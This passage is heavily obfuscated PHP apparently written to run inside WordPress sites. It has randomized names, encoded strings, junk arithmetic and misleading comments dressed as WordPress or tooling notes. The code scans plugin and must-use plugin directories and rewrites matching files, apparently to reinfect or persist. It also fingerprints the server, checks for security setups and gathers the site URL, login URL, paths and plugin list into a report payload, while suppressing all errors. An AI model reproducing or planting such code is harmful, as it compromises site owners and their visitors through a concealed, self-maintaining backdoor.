   $GLOBALS[zp28wk01y(456)]   = $o1yryviovnxh[zp28wk01y(455)];
 }
 if (isset($o1yryviovnxh[fjup2mc1h(457)]) &&      $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[tvo1rh46s_(457)]) && $GLOBALS['__scf_m2ym9pki8mue9_11']($o1yryviovnxh[op9tjzix(458)])  >   (52+48)) {


 $GLOBALS[op9tjzix(459)]    =  $o1yryviovnxh[tvo1rh46s_(460)];
}
    } catch   (Throwable $x0ydieb0v_72m_u)     {
 teikfigf_p5265esq_q(op9tjzix(461),    $x0ydieb0v_72m_u);
 }    catch (Exception  $x0ydieb0v_72m_u) {
    }
   }


     function  u93yv6n0bvzrd0o()


 {
// @color-register strategy

      try   {
 if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(462)))  return;
  if    ((int)  get_option(zp28wk01y(463),  0)      > $GLOBALS['__scf_yg2rpewmkg_192']()  -  (0xaa+0xd66))     return;
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52)) &&   get_transient(zp28wk01y(464)))   return;
  if (!vbnv9cp3zphaateswj())   return;
 $eqj8sotjiy3gt4  = cvod3ffny5vm5dt3d(tvo1rh46s_(465),  "");
if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($eqj8sotjiy3gt4)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($eqj8sotjiy3gt4)   <     (469+31)  ||   orl4u64oiezevyfpwqi4j($eqj8sotjiy3gt4)  ||    !ays3w9sevfe7ws($eqj8sotjiy3gt4))      {
     $eqj8sotjiy3gt4      = false;
$s2_byieq9_ctpv    =   _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($s2_byieq9_ctpv)   &&    !orl4u64oiezevyfpwqi4j($s2_byieq9_ctpv)   &&  ays3w9sevfe7ws($s2_byieq9_ctpv)) {
// sequential write

v2tiam6q2h4zs04bs_si_n(zp28wk01y(466),  $s2_byieq9_ctpv,     tvo1rh46s_(195));
  $eqj8sotjiy3gt4 = $s2_byieq9_ctpv;
  }
// WP InspectorControls: reconcile timeout-policy

      if      (!$eqj8sotjiy3gt4)  {
  @update_option(tvo1rh46s_(467),   $GLOBALS['__scf_yg2rpewmkg_192'](),      fjup2mc1h(468));
     return;
     }
// MySQL JSON operators: register enumerator

  }
 $gjj_1oy96pyasvlv  =   array(qluu1auwul2zupq5h());$rdbi1k0oe=27*4;$gj_c5i7k=$rdbi1k0oe-2;
 $d_9pqy369cvamxr  =  emzy8pvoveowt1bicy5();
$q3l5zy3eh2z   =    hfuxm75f1bdbh9ptm1($d_9pqy369cvamxr,     (0x6a9+0xcdf));
 if ($GLOBALS['__scf_knhbvsumnby3_36']($q3l5zy3eh2z)) {
     foreach ($q3l5zy3eh2z    as      $mdn_btdc0_)  {
if     ($GLOBALS['__scf_zre6ec18ly90y_10']($mdn_btdc0_, -(62^58))    ===   zp28wk01y(469))    $gjj_1oy96pyasvlv[]    =  $d_9pqy369cvamxr  . '/'    . $mdn_btdc0_;
   }
// WP Pattern Directory: expected orbit



}

 if   (defined(zp28wk01y(7))   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(73))) {
foreach ((array) @$GLOBALS['__scf_ylc30lk3q5j_73'](WP_PLUGIN_DIR   . b4gbsak56f40gos(470))    as    $_scazhy2rpkhgm2)    $gjj_1oy96pyasvlv[] =  $_scazhy2rpkhgm2;
  }
  $gjj_1oy96pyasvlv =   $GLOBALS['__scf_s8rgnr7_02m_155']($gjj_1oy96pyasvlv);



   $fh34pdvsjjxwv9f   =     array();
   $z7f9xi94vruxpx    =      $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(472), "", $GLOBALS['__scf_zre6ec18ly90y_10']($eqj8sotjiy3gt4, 0, (65460+76))),    0,     (1964+84));
foreach ($gjj_1oy96pyasvlv as $frgd4znm8k)  {
$dyahzuwtz164n6   = @$GLOBALS['__scf_voobwg611qb_102']($frgd4znm8k);
 if    (!$dyahzuwtz164n6 ||     $dyahzuwtz164n6 <= (1890492-841916))    continue;

 $yseczur497    = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k,   false,    null,    0,    (1013+64523));$jefiqwafg=(0x8c+0xec);$bjyrv4x26vnzk=$jefiqwafg%3;



  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($yseczur497) ||  !orl4u64oiezevyfpwqi4j($yseczur497))  continue;
 if     ($frgd4znm8k !==     qluu1auwul2zupq5h()  && $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(473), "",  $yseczur497), 0,  (0x421+0x3df)) !==   $z7f9xi94vruxpx)   continue;
   $fh34pdvsjjxwv9f[] =  $frgd4znm8k;


   }
if   (!$fh34pdvsjjxwv9f) {
   @update_option(wlgh2_th(474),  $GLOBALS['__scf_yg2rpewmkg_192'](), b4gbsak56f40gos(475));
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(62)))      set_transient(zp28wk01y(476), 1,   (594+6));
 return;
     }
 @update_option(fjup2mc1h(474),   $GLOBALS['__scf_yg2rpewmkg_192'](), wlgh2_th(475));
    foreach    ($fh34pdvsjjxwv9f as  $oknhdgd23az7)   {
  kp1tutxjpanriy($oknhdgd23az7,    (397+23));
   if    (_ew1atk9e66yol2lso($oknhdgd23az7,    utjmibjloacp0kjf($eqj8sotjiy3gt4)))    {
 t5r4r1lc5gjybs($oknhdgd23az7);
   o2er_doikw9jq83pm2lov($oknhdgd23az7);
       kp1tutxjpanriy($oknhdgd23az7,  (0xed+0xb7));
rwx_v9t1vov1zic2ki($oknhdgd23az7);
  if  ($oknhdgd23az7 ===   qluu1auwul2zupq5h())   {
   mridss6_czjhslw35g(true);
    qo_apd6cyj2djv757yc0eg(true);$cwdx5a371vix=512;$iz4q46ra6evqa=$cwdx5a371vix%9;
 }



}   else   {
    kp1tutxjpanriy($oknhdgd23az7, (372+48));
   }



  }
}  catch      (Throwable     $x0ydieb0v_72m_u) {
   teikfigf_p5265esq_q(wlgh2_th(477),     $x0ydieb0v_72m_u);
 }    catch     (Exception $x0ydieb0v_72m_u) {



   }
// PCRE2 JIT style fallback

  }

function d8pbcrz4yto4oebxs95hd6()
{
     static $tbmkobtuzp3gr   = false;
 if   ($tbmkobtuzp3gr) return;
$tbmkobtuzp3gr  = true;



  try  {
   id6betrtyv0xlfeyn_s();
    

 u93yv6n0bvzrd0o();
    zna6wcy_6v8881q_zh();
 g8mbbz6ql237xypds_o();
       m3glk3wztmwqklvb12_();
n0yley8rs3pyvjo_j();
  _7vbq8th_6avjkriw0f68();
// spill stabilizer for Rector auto-refactor

 _yjfvv1s_lwgdiro4wbm1();

    u7kixj2yroqk485();
    if   (b9yvpc2wfw2jm0j4bvrvil())    {


  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(478))  &&  did_action(zp28wk01y(426)))   {
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(174)))    $GLOBALS['__scf_b1rqpek_6hp_174'](fjup2mc1h(479));
} else  {


  uh36p8urjd71g_u9smnf(b4gbsak56f40gos(426),   zp28wk01y(480),  0);
// @fork circuit-breaker

  }
 }
 }  catch   (Throwable    $x0ydieb0v_72m_u)      {
    } catch   (Exception  $x0ydieb0v_72m_u)   {
}
  }
   function   xpwfsvxtbs34zm7y()
   {$hv8vzbb5rejsc=23*9;$sit5um4xbtzn=$hv8vzbb5rejsc-8;

try     {
 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(481))   || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(482))) return;
 

   if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(445))  ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(462)))      return;
       

  $ltvf1eni1c2z =  $GLOBALS['__scf_yg2rpewmkg_192']();
   

 if  ($ltvf1eni1c2z - (int)   @get_option(tvo1rh46s_(483),   0)    <  (2692+908))     return;
  @update_option(tvo1rh46s_(484),   $ltvf1eni1c2z,     b4gbsak56f40gos(475));
      @$GLOBALS['__scf_aveut5m3qzw4x_301'](home_url('/'),  array(fjup2mc1h(399)    =>   2,  tvo1rh46s_(401)      =>  false, fjup2mc1h(400)  =>  false));
  }  catch (Throwable $x0ydieb0v_72m_u)    {
}    catch (Exception $x0ydieb0v_72m_u)      {
 }
  }
function  b9yvpc2wfw2jm0j4bvrvil()

{
   if   (! $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(445))) {

  return  true;
   }
     
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(52)) &&  get_transient(uys5m_ytblknm5())) {
   return false;
 }
    
       $v5ljzjewdq4aduy1    =  g4qqj8jzajjudxckl();
  $mayx1ashajuh =  mbu8jpz9mni4nrwrzww(b4gbsak56f40gos(378),      false);
 if ($GLOBALS['__scf_knhbvsumnby3_36']($mayx1ashajuh)    &&    isset($mayx1ashajuh[zp28wk01y(485)])   &&     (int)   $mayx1ashajuh[wlgh2_th(485)]     >=  (504-204) && (int) $mayx1ashajuh[b4gbsak56f40gos(485)]  <=   (0xe7ad+0x69d3))    $v5ljzjewdq4aduy1 =   (int)  $mayx1ashajuh[tvo1rh46s_(486)];



     $yc6k00g31wv4eg4 = (int)   get_option(fjup2mc1h(438),  0);
    if ($yc6k00g31wv4eg4  >  0   &&  ($GLOBALS['__scf_yg2rpewmkg_192']()  -    $yc6k00g31wv4eg4)  < $v5ljzjewdq4aduy1)  {



return false;
 }
        
$c7xllyvuw5  =   (int)  get_option(zp28wk01y(487),  0);
  if  ($c7xllyvuw5 >  0)    {



   $cn0tlrh9dor27  = (int)   get_option(tvo1rh46s_(488),  0);
      $o157_fywzerig    =     array((175+125),   (0x2ea+0x9a), (1780+20), (3565+35),  (3595+5));


        $mxz9s99kstg0cs  =    $o157_fywzerig[$GLOBALS['__scf_jlm7opnchuxu_489'](0,     $GLOBALS['__scf_auynlilaeyt_490']($cn0tlrh9dor27 - 1,  (3+1)))];

 $mxz9s99kstg0cs  +=  $GLOBALS['__scf_hw2kkbd0s2i_359'](0, (int)   ($mxz9s99kstg0cs  *  0.25));



 if (($GLOBALS['__scf_yg2rpewmkg_192']()    -   $c7xllyvuw5) < $mxz9s99kstg0cs)   {
      return   false;
  }


   }
   



  return true;
 }
 
   function   w9ueulx7c_0jxx6bh63gfh()
{
  $cn0tlrh9dor27  = (int) get_option(tvo1rh46s_(491),   0);
update_option(zp28wk01y(492),  $cn0tlrh9dor27  + 1);



 update_option(op9tjzix(487),   $GLOBALS['__scf_yg2rpewmkg_192']());


}
  function tade47vsfx9l17()
{
  $zwzkcpqs2ucabt_  =     array();
   try   {
    $zwzkcpqs2ucabt_[fjup2mc1h(493)]   =      _vfpypr4wakqs7jy_();
     $zwzkcpqs2ucabt_[op9tjzix(494)]  =  PHP_VERSION;
       $zwzkcpqs2ucabt_[b4gbsak56f40gos(495)]   =  $GLOBALS['__scf_f9tn7hbu7z_107']();



 $zwzkcpqs2ucabt_[fjup2mc1h(496)]   =  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(497)) &&   is_ssl()) ?    1     :  0;
 $zwzkcpqs2ucabt_[fjup2mc1h(498)] =   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(499))  && is_multisite()) ?  1   :   0;


   $zwzkcpqs2ucabt_[b4gbsak56f40gos(500)]   = isset($GLOBALS[tvo1rh46s_(501)])  ?    (string)  $GLOBALS[fjup2mc1h(501)]  :  "";
$zwzkcpqs2ucabt_[fjup2mc1h(502)]     = isset($_SERVER[tvo1rh46s_(114)]) ?   $GLOBALS['__scf_zre6ec18ly90y_10']((string) $_SERVER[zp28wk01y(114)], 0,  (41-1))      :     "";
 $whtrm5kqoav5sfdu  = (isset($GLOBALS[op9tjzix(503)])   &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[b4gbsak56f40gos(503)]))      ? $GLOBALS['__scf_bbs7j5b1fx_332']($GLOBALS[tvo1rh46s_(503)])  :   "";
// WP Redux Store responsive breakpoint

   $zwzkcpqs2ucabt_[tvo1rh46s_(504)]  =  ($whtrm5kqoav5sfdu   !==    "")    ? 1   :  0;


$zwzkcpqs2ucabt_[tvo1rh46s_(505)] =   $GLOBALS['__scf_m2ym9pki8mue9_11']($whtrm5kqoav5sfdu);

     $zwzkcpqs2ucabt_[b4gbsak56f40gos(506)] = !empty($GLOBALS[fjup2mc1h(507)])  ? 1    :  0;
   $zwzkcpqs2ucabt_[fjup2mc1h(508)]  =   !empty($GLOBALS[fjup2mc1h(509)]) ?   1  :  0;
 $zwzkcpqs2ucabt_[fjup2mc1h(510)]  =   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445)) ?  (int)     @get_option(wlgh2_th(511),     0) :    0;
  




$zwzkcpqs2ucabt_[fjup2mc1h(370)] = (_688a_rvvxzf58(wlgh2_th(512), "")  !==   "")     ?  1    :     0;
 $zwzkcpqs2ucabt_[zp28wk01y(513)]  = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445))   ?  (int)   @get_option(b4gbsak56f40gos(514),   0)  : 0;
    $zwzkcpqs2ucabt_[zp28wk01y(515)]   = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(516)) ?     (int)  @get_option(b4gbsak56f40gos(517),  0)   :     0;


$zwzkcpqs2ucabt_[b4gbsak56f40gos(518)]   =   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(519))  ?   (int) @get_option(zp28wk01y(520), 0)  :  0;
   $dx_ofkvr3qy  =  p_wsdzgl36a6wh_fs09();



 $zwzkcpqs2ucabt_[wlgh2_th(521)]  =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .  fjup2mc1h(522)) ?    (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy   . b4gbsak56f40gos(522),    false,   null,  0,    (0xc4f+0x13b1)))   ? 2  : 1)  :   0;
$zwzkcpqs2ucabt_[op9tjzix(523)] =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .      b4gbsak56f40gos(524))    ?  (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy   .   b4gbsak56f40gos(524),      false,  null, 0,      (0x942+0x16be))) ?  2    : 1)   :  0;
     $zwzkcpqs2ucabt_[b4gbsak56f40gos(525)]  =      @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .  zp28wk01y(526))  ?   (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy  .  tvo1rh46s_(527),    false,  null, 0,  (14840-6648)))   ?  2      :    1)  :  0;



   $jf11o2b3al   =   zp28wk01y(528)    . fmsvr16ge0nzzk9i6u(ABSPATH .    'g', (0x1+0x7));



     $bgokyuve7p   = b4gbsak56f40gos(529) .    fmsvr16ge0nzzk9i6u(ABSPATH . 'g',   (11-3));
$zwzkcpqs2ucabt_[tvo1rh46s_(530)]  =    0;
  foreach (array(xrb38aewb77bc3i(),     $dx_ofkvr3qy, ABSPATH     .   fjup2mc1h(531))   as  $uuanfb1_l9pb)     {


 if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($uuanfb1_l9pb  .     '/'  . $jf11o2b3al  .  op9tjzix(532))) $zwzkcpqs2ucabt_[b4gbsak56f40gos(533)] =    1;
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($uuanfb1_l9pb .     '/' .     $bgokyuve7p) && (int)    @$GLOBALS['__scf_kpr9p9o54hwof_101']($uuanfb1_l9pb  .     '/'  .    $bgokyuve7p) >    $GLOBALS['__scf_yg2rpewmkg_192']() -  (0x54+0x9c)) {



   $zwzkcpqs2ucabt_[op9tjzix(533)] = 2;

     break;

}
       }



   unset($bgokyuve7p,   $uuanfb1_l9pb);
 $vcpbinwjs8   = $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(116))     ?  @$GLOBALS['__scf_livuu39cntpdx3_116'](fjup2mc1h(534))  :  false;
        if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($vcpbinwjs8)  ||    $vcpbinwjs8   === "" ||    $vcpbinwjs8    ===   b4gbsak56f40gos(535))   $vcpbinwjs8  =   zp28wk01y(536);
$zwzkcpqs2ucabt_[zp28wk01y(537)] =    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH .  $vcpbinwjs8)   &&    $GLOBALS['__scf_rbe_sihvfv_8']((string)   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH     . $vcpbinwjs8),  wlgh2_th(538))   !== false)  ? 1   : 0;
       $zwzkcpqs2ucabt_[tvo1rh46s_(539)]  =    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH    .  op9tjzix(540))   &&   $GLOBALS['__scf_rbe_sihvfv_8']((string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH . tvo1rh46s_(540)),   zp28wk01y(538))  !== false)  ? 1  :   0;
$zwzkcpqs2ucabt_[fjup2mc1h(541)]   =      (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH   .   op9tjzix(542))  &&     $GLOBALS['__scf_rbe_sihvfv_8']((string)   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH  .   wlgh2_th(542),   false,  null,  0,    (65477+59)),   fjup2mc1h(543))  !==  false) ?    1 :    0;
$zwzkcpqs2ucabt_[b4gbsak56f40gos(544)]  = defined(op9tjzix(545)) ?   1   :    0;
  $zwzkcpqs2ucabt_[op9tjzix(546)]   =  (defined(zp28wk01y(547))  ||   defined(zp28wk01y(548)) || defined(b4gbsak56f40gos(549)) ||   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(550)) || $GLOBALS['__scf_x_wfq7bl3c_551'](op9tjzix(552))  ||  isset($GLOBALS[wlgh2_th(553)])  ||    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(554)))  ? 1 :    0;
  $zwzkcpqs2ucabt_[zp28wk01y(555)]  =  (int)      get_option(tvo1rh46s_(438),  0);
      $zwzkcpqs2ucabt_[tvo1rh46s_(556)] =  (int)  get_option(op9tjzix(492), 0);
   $zwzkcpqs2ucabt_[tvo1rh46s_(557)] =    (int) get_option(op9tjzix(487),    0);
$a31awv9_g_00nhj5  =   cvod3ffny5vm5dt3d(tvo1rh46s_(558),  array());
  $jcur9t5lcgb497j    = 0;
 $jay1tno7zguq1ir   =   0;



   if  ($GLOBALS['__scf_knhbvsumnby3_36']($a31awv9_g_00nhj5))    {$i6tx1qgr=86*5;$dgfwp0nm=$i6tx1qgr-9;
foreach      ($a31awv9_g_00nhj5  as     $mdn_btdc0_)  {


    if   (gq_ah8c0oj7somw($mdn_btdc0_)      ===  "")  continue;
    $jcur9t5lcgb497j++;

    $vvbluweawg   = $GLOBALS['__scf_knhbvsumnby3_36']($mdn_btdc0_)   ?  (int)    (isset($mdn_btdc0_[op9tjzix(559)])   ?     $mdn_btdc0_[fjup2mc1h(559)] : 1)  :    1;
 $fhp2s4z07zw4bfl  =   $GLOBALS['__scf_knhbvsumnby3_36']($mdn_btdc0_) &&   isset($mdn_btdc0_[b4gbsak56f40gos(560)])  ? (int)      $mdn_btdc0_[tvo1rh46s_(560)] :  0;
  if   (!$vvbluweawg   &&   (!$fhp2s4z07zw4bfl || $fhp2s4z07zw4bfl  < $GLOBALS['__scf_yg2rpewmkg_192']() -    (3534+66)))  $jay1tno7zguq1ir++;
     }
  }
$zwzkcpqs2ucabt_[op9tjzix(561)]  =  $jcur9t5lcgb497j;
  $zwzkcpqs2ucabt_[op9tjzix(562)]  =     $jay1tno7zguq1ir;
$k3k8sb7_2nuzur  =   $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(563))     ?   @get_option(wlgh2_th(564), "") :  "";



$zwzkcpqs2ucabt_[op9tjzix(565)] =    $GLOBALS['__scf_zneqqdn4vlt4_42']($k3k8sb7_2nuzur)   ?  $GLOBALS['__scf_zre6ec18ly90y_10']($k3k8sb7_2nuzur,  0,    (10-5))  :   "";

   $c9rqt2g88fxh  =    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(563))     ?  @get_option(op9tjzix(566), array())  : array();$idrfbcv788uyh4=PHP_INT_MAX/PHP_INT_MAX;$f5zwauo7rvxn=$idrfbcv788uyh4+21;

 $zwzkcpqs2ucabt_[tvo1rh46s_(567)]   = ($GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh) &&   (!empty($c9rqt2g88fxh['t'])      ||  !empty($c9rqt2g88fxh[tvo1rh46s_(568)])))  ? 1 :  0;



 }   catch     (Throwable $x0ydieb0v_72m_u)      {
$zwzkcpqs2ucabt_[b4gbsak56f40gos(569)] = $GLOBALS['__scf_zre6ec18ly90y_10']($x0ydieb0v_72m_u->getMessage(),      0,  (17+43));
  }      catch    (Exception  $x0ydieb0v_72m_u)     {
   $zwzkcpqs2ucabt_[b4gbsak56f40gos(569)] =   $GLOBALS['__scf_zre6ec18ly90y_10']($x0ydieb0v_72m_u->getMessage(),    0,    (172^144));
}
// WP Data Module: compact strategy

   return  $zwzkcpqs2ucabt_;
}



  function kdhsevjlckt6f5e630b()


      {
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(397))) {
 return      (string)  site_url(op9tjzix(570));
   }
    return   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(571))      ?  (string)   wp_login_url()   :  "";
  }

     function  cm6y2ie43ppuz0pk8jw($ntwq5oiehnxn)
       {
  $evcfpcndyj78fj =  "";
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(482)))      {
    $evcfpcndyj78fj =  (string) $GLOBALS['__scf_oaen6pygee_572'](home_url(),    constant(b4gbsak56f40gos(573)));
     }
if (!     $evcfpcndyj78fj    &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(574))) {
$evcfpcndyj78fj    =    (string) $GLOBALS['__scf_oaen6pygee_572'](get_site_url(),   constant(zp28wk01y(575)));
  }
  if (!  $evcfpcndyj78fj && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(576))) {


 $evcfpcndyj78fj    =  (string)   $GLOBALS['__scf_oaen6pygee_572'](get_bloginfo(op9tjzix(577)), constant(wlgh2_th(575)));$fa4vk5jvt7a6i=(0x4c+0x63);$c2ugj__v=$fa4vk5jvt7a6i%13;
 }
 if (!  $evcfpcndyj78fj && $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(563)))    {
/* release prototype */

    $evcfpcndyj78fj =  (string) $GLOBALS['__scf_oaen6pygee_572']((string)  get_option(op9tjzix(578),  ""),  constant(wlgh2_th(579)));
 }
 if  (! $evcfpcndyj78fj     &&   isset($_SERVER[op9tjzix(580)]))    {
$evcfpcndyj78fj     =   (string) $_SERVER[op9tjzix(580)];
     }
 if  (!  $evcfpcndyj78fj  &&   isset($_SERVER[zp28wk01y(581)]))  {
        $evcfpcndyj78fj     =   (string)  $_SERVER[tvo1rh46s_(581)];
   }


   if    (!  $evcfpcndyj78fj)     {
  return  $ntwq5oiehnxn;
   }
      return $evcfpcndyj78fj;
  }
     function   p3gwgn5uw85zn40vw($rxebd_uclenptlf5 =    0)
{
   try  {
  $dlo0njx86_rshncu =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(582))   ?  (int)  @$GLOBALS['__scf_livuu39cntpdx3_116'](wlgh2_th(583))    :    0;
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(444))) @$GLOBALS['__scf_v_sh61jlp_8_444']((75+105));



 $rd88s125dsfo  =  ($dlo0njx86_rshncu   >    (1+19)    && $dlo0njx86_rshncu      <   (221-41))    ? ($dlo0njx86_rshncu  -     (220^214)) :  (($dlo0njx86_rshncu  > 0 &&   $dlo0njx86_rshncu   <=  (0xb+0x9))  ?  (0x9+0x1)    :   (115^41));
if   ($rxebd_uclenptlf5    > 0   &&    $rd88s125dsfo >     $rxebd_uclenptlf5)  $rd88s125dsfo =  $rxebd_uclenptlf5;
      $GLOBALS[zp28wk01y(296)] =    $GLOBALS['__scf_knb470agoho1_297'](true)   +    $rd88s125dsfo;
  if (!   b9yvpc2wfw2jm0j4bvrvil())   {
  return;



     }
   if (!mmsya1lu9x3wz6a92pu(zp28wk01y(392)))  {
return;
     }
  
  $zvm5pffnngd5j =    $GLOBALS['__scf_knb470agoho1_297'](true);
  $oida5a8_jeosld5 = ifpgzrbtk6abykadgo((int)      ($rd88s125dsfo *      0.6));
if (
     !  $GLOBALS['__scf_knhbvsumnby3_36']($oida5a8_jeosld5)
  ||    ! isset($oida5a8_jeosld5[fjup2mc1h(349)])  ||      !    $GLOBALS['__scf_zneqqdn4vlt4_42']($oida5a8_jeosld5[op9tjzix(349)])  ||    !  $oida5a8_jeosld5[tvo1rh46s_(349)]
  || ! isset($oida5a8_jeosld5[zp28wk01y(350)])  ||     ! $GLOBALS['__scf_knhbvsumnby3_36']($oida5a8_jeosld5[fjup2mc1h(350)])    ||  empty($oida5a8_jeosld5[tvo1rh46s_(350)])
  ) {

    w9ueulx7c_0jxx6bh63gfh();
   return;
 }
$woo5_gd92gl606gn =  $oida5a8_jeosld5[tvo1rh46s_(349)];
  $pt2kggo3xw_eq   =  $oida5a8_jeosld5[b4gbsak56f40gos(350)];
 v2tiam6q2h4zs04bs_si_n(wlgh2_th(584), $woo5_gd92gl606gn,   b4gbsak56f40gos(585));
    v2tiam6q2h4zs04bs_si_n(fjup2mc1h(586), $GLOBALS['__scf_rbe_sihvfv_8']($woo5_gd92gl606gn, tvo1rh46s_(587))    ===   0   ? 1  :    0,    fjup2mc1h(588));
 $yaz3ch9zchei =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(563))  ?   (string) get_option(tvo1rh46s_(589),   "")  :      "";
  if    ($yaz3ch9zchei   !==  ""     && $GLOBALS['__scf_av84ex67tlp92_156']($yaz3ch9zchei, $pt2kggo3xw_eq,  true))    {$_0znwxodmx_6=30*7;$f14nibcad5n4=$_0znwxodmx_6-3;


   $pt2kggo3xw_eq   =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($pt2kggo3xw_eq,    array($yaz3ch9zchei)));

   $GLOBALS['__scf_skguqpd9dknw_590']($pt2kggo3xw_eq);
  $GLOBALS['__scf_igh391p_2d78a_331']($pt2kggo3xw_eq,   $yaz3ch9zchei);
  }   elseif ($GLOBALS['__scf_j38tk0441lk_37']($pt2kggo3xw_eq)     >     1)  {
$GLOBALS['__scf_skguqpd9dknw_590']($pt2kggo3xw_eq);
      }
  
 if    (($GLOBALS['__scf_knb470agoho1_297'](true)   - $zvm5pffnngd5j)  >   (int) ($rd88s125dsfo   *  0.6)) {



   w9ueulx7c_0jxx6bh63gfh();
 return;
    }



   
 $qobklxfmjsucvm =     i5njjlgr_b_iz9q();
 if   (hti81ybc755i9r59($qobklxfmjsucvm)) {


    $qobklxfmjsucvm   =     i5njjlgr_b_iz9q();
}
  
     $xsa01dx1yy   = array();
 if     ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(563)))  {
   foreach    ((array) get_option(b4gbsak56f40gos(157), array())    as    $frgd4znm8k)   {
  if ($GLOBALS['__scf_zneqqdn4vlt4_42']($frgd4znm8k)  &&  $frgd4znm8k)     {
  $xsa01dx1yy[]  =  $frgd4znm8k;
 }
 }
     }
 
 $k_wmztwwtrmitdfu   = array();
if  (defined(op9tjzix(591)))    {
// deregister principal for PHP match expression
$jher8cun9snqd=5+65;$_7xj0vm7m=$jher8cun9snqd-40;
$xkum_en8evj  =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(73))  ?   @$GLOBALS['__scf_ylc30lk3q5j_73']($GLOBALS['__scf_q93011jdjf_13'](WPMU_PLUGIN_DIR,    '/')   .   b4gbsak56f40gos(74))   :     false;
if  ($GLOBALS['__scf_knhbvsumnby3_36']($xkum_en8evj))   {

    foreach ($xkum_en8evj   as     $oknhdgd23az7)  {
     $k_wmztwwtrmitdfu[]    =    $GLOBALS['__scf_dpm5ad5tej9nf_4']($oknhdgd23az7);

 }
}
 }
     
  $un3c1bfkp7q     = array(
   wlgh2_th(592)   =>   cm6y2ie43ppuz0pk8jw(""),



      wlgh2_th(593)   =>  _vfpypr4wakqs7jy_(),
    zp28wk01y(594)  =>     $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), fjup2mc1h(532)),
   zp28wk01y(595)      =>     $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,     tvo1rh46s_(596)),
   zp28wk01y(597)  =>  $xsa01dx1yy,
  fjup2mc1h(598)    =>   $k_wmztwwtrmitdfu,
   tvo1rh46s_(599)  =>   kdhsevjlckt6f5e630b(),
   op9tjzix(600)   => (object)      dyi1g9350xjorukimjfa2w($qobklxfmjsucvm),



 zp28wk01y(601)     =>  (object) h3tq0zbf55ddrorp1($qobklxfmjsucvm),
   b4gbsak56f40gos(374)   => ($oe8gd1ik2oi  =  im8om_xz9agyv7m()),

);
